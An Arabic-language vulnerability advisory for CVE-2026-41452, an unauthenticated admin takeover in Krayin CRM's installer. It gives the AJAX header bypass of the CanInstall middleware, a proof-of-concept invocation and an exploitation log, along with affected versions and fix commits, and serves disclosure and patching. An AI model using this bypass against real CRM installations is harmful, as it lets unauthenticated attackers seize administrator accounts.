
CVE-2026-41452 — تجاوز المثبّت (Installer) في Krayin CRM دون مصادقة عبر (X-Requested-With) → الاستيلاء على حساب المسؤول. مُتحقَّق منه: الكتابة فوق + تسجيل الدخول على الإصدار 2.2.4، وتم حظره في الإصدار 2.2.5
CVSS 9.8 (حرِج) · CWE-287 / CWE-306 · تقرير Jiva · VulnCheck
يكشف مثبّت Krayin CRM عن المسار POST /install/api/admin-config-setup (بالإضافة إلى run-migration وrun-seeder) بدون حماية CSRF (ضمن مجموعة withoutMiddleware('web')). الوسيط العام CanInstall يحظر المسار فقط على الطلبات غير AJAX:
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard');
}
إرسال طلب يحمل X-Requested-With: XMLHttpRequest يتجاوز الفحص بالكامل. ثم تنفّذ وحدة التحكم updateOrInsert على المدير الأساسي المرمّز ثابتًا (معرّف المستخدم=1) باستخدام اسم/بريد إلكتروني/كلمة مرور يوفّرها المهاجم (role_id=1, status=1) → استيلاء كامل على حساب المدير بدون مصادقة على نسخة مثبّتة مسبقًا.
المتأثّر: ≤ 2.2.0 و2.2.4 (انحدار). الإصلاح: 2.2.1 (e4eb96f5)؛ حدث الانحدار في 2.2.4 (6a7bc4cc)؛ وأُعيد الإصلاح في 2.2.5 (ea4919a8). كان فرع master لا يزال عرضةً للثغرة وقت إجراء البحث.
python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'
سلسلة الاستغلال:
X-Requested-With: XMLHttpRequest → HTTP 200 1 → يتم استبدال حساب المدير (id=1)/admin/login بالبيانات الجديدة → إعادة توجيه إلى /admin/dashboard[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall) [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard) [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===
مقارنة البناء المُصلَح: مع ملفات v2.2.5، يعيد نفس طلب AJAX POST → HTTP 403 (محظور).
أي تثبيت Krayin CRM يمكن الوصول إليه عبر الشبكة العامة (v2.2.4 أو ≤2.2.0) يمكن الاستيلاء عليه بالكامل بواسطة مهاجم غير مصادَق في طلب واحد. لا يتطلب CSRF ولا بيانات اعتماد ولا أي تفاعل.
ea4919a8 (v2.2.5) · الانحدار: 6a7bc4cc (v2.2.4) · الإصلاح الأول: e4eb96f5 (v2.2.1)